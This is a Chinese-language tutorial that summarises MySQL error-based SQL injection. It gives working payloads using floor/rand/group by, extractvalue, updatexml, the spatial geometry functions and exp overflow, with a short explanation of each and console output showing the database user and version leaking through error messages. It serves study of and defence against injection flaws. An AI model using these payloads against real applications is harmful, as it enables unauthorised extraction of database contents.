MySQL Error Based SQL Injection (报错注入)总结

点击阅读全文

MySQL报错注入

利用数据库报错来显示数据的注入方式经常会在入侵中利用到,这种方法有一点局限性,需要页面有错误回显。

数据类型转换报错是最常见的一种方法,在微软SQL Server上,利用的是convert()和cast()函数,MySQL的报错SQL注入方式更多。

有很多函数都会导致MySQL报错并且显示出数据,它们分别是

  • GemetryCollection()
  • polygon(),GTID_SUBSET()
  • multipoint()
  • multinestring()
  • multipolygon()
  • LINESTRING()
  • exp()

MYSQL报错注入大体可以分为以下几类:

  • BIGINT等数据类型溢出
  • xpath语法错误
  • concat+rand()+group_by()导致主键重复
  • 空间数据类型函数错误

floor()

注入语句

1
select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
  • floor:函数只返回整数部分,小数部分舍弃。
  • round:函数四舍五入,大于0.5的部分进位,不到则舍弃。

报错注入原理

目前比较常见的几种报错注入的方法都是利用了mysql某些不能称为bug的bug来实现的。

下面就以 rand() 函数来进行说明。mysql的官方文档中对 rand() 函数有特殊的说明:

1
2
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed. You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. However, you can retrieve rows in random order like this:

官方文档中的意思是:在where语句中,where每执行一次,rand()函数就会被计算一次。rand()不能作为order by的条件字段,同理也不能作为group by的条件字段。

因此在mysql中,可以构造一个值不确定而有可重复的字段作为group by的条件字段,这是就可以报出类似于Duplicate entry ‘…’ for key ‘group_key’的错误

测试

1
2
3
4
5
6
7
8
mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1062 - Duplicate entry 'root@localhost1' for key 'group_key'
mysql> select * from admin where id=1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
1062 - Duplicate entry '5.5.531' for key 'group_key'

extractvalue()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

1
select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

报错注入原理

1
EXTRACTVALUE (XML_document, XPath_string);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串).
  • 作用:从目标XML中返回包含所查询值的字符串

第二个参数都要求是符合xpath语法的字符串,如果不满足要求,则会报错,并且将查询结果放在报错信息里

测试

1
2
3
4
5
6
mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
1105 - XPATH syntax error: '~root@localhost~'
mysql> select * from admin where id=1 and (extractvalue(1,concat(0x7e,(select version()),0x7e)));
1105 - XPATH syntax error: '~5.5.53~'

updatexml()

MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是ExtractValue()和UpdateXML()

因此在mysql 小于5.1.5中不能用ExtractValue和UpdateXML进行报错注入。

注入语句

1
select * from admin where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

报错注入原理

1
UPDATEXML (XML_document, XPath_string, new_value);
  • 第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
  • 第二个参数:XPath_string (Xpath格式的字符串)
  • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
  • 作用:改变文档中符合条件的节点的值

返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,所以不符合要求,然后报错。

测试

1
2
3
4
5
6
mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
1105 - XPATH syntax error: '~root@localhost~'
mysql> select * from admin where id=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1));
1105 - XPATH syntax error: '~5.5.53~'

GemetryCollection() multipoint() polygon() multipolygon() linestring() multilinestring()

以上函数均为MySQL中的空间数据类型(存储)的函数

目前仅在MyISAM数据引擎下提供空间索引支持,要求几何字段非空

注入语句

1
2
3
4
5
6
7
8
9
10
11
select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b));
select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b));
select * from products where pid=1 and polygon((select * from(select * from(select user())a)b));
select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b));
select * from products where pid=1 and linestring((select * from(select * from(select user())a)b));
select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b));

测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and geometrycollection((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipoint((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipoint((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and polygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and polygon((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multipolygon((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and linestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and linestring((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select user())a)b));
1367 - Illegal non geometric '(select `b`.`user()` from (select 'root@localhost' AS `user()` from dual) `b`)' value found during parsing
mysql> select * from products where pid=1 and multilinestring((select * from(select * from(select version())a)b));
1367 - Illegal non geometric '(select `b`.`version()` from (select '5.5.48' AS `version()` from dual) `b`)' value found during parsing

exp()

在mysql5.5之前,整形溢出是不会报错的,根据官方文档说明out-of-range-and-overflow,只有版本号大于5.5.5时,才会报错。

利用exp函数也产生类似的溢出错误

注入语句

1
select * from products where pid=1 and exp(~(select * from(select user())a));

测试

1
2
3
4
5
mysql> select * from products where pid=1 and exp(~(select * from(select user())a));
1690 - DOUBLE value is out of range in 'exp(~((select 'root@localhost' from dual)))'
mysql> select * from admin where id=1 and exp(~(select * from(select version())a));
1690 - DOUBLE value is out of range in 'exp(~((select `a`.`version()` from (select version() AS `version()`) `a`)))'

Reference

Mysql报错注入原理分析(count()、rand()、group by)
Error Based SQL Injection
MYSQL报错注入的一点总结
UpdateXml() MYSQL显错注入
《代码审计:企业级Web代码安全架构》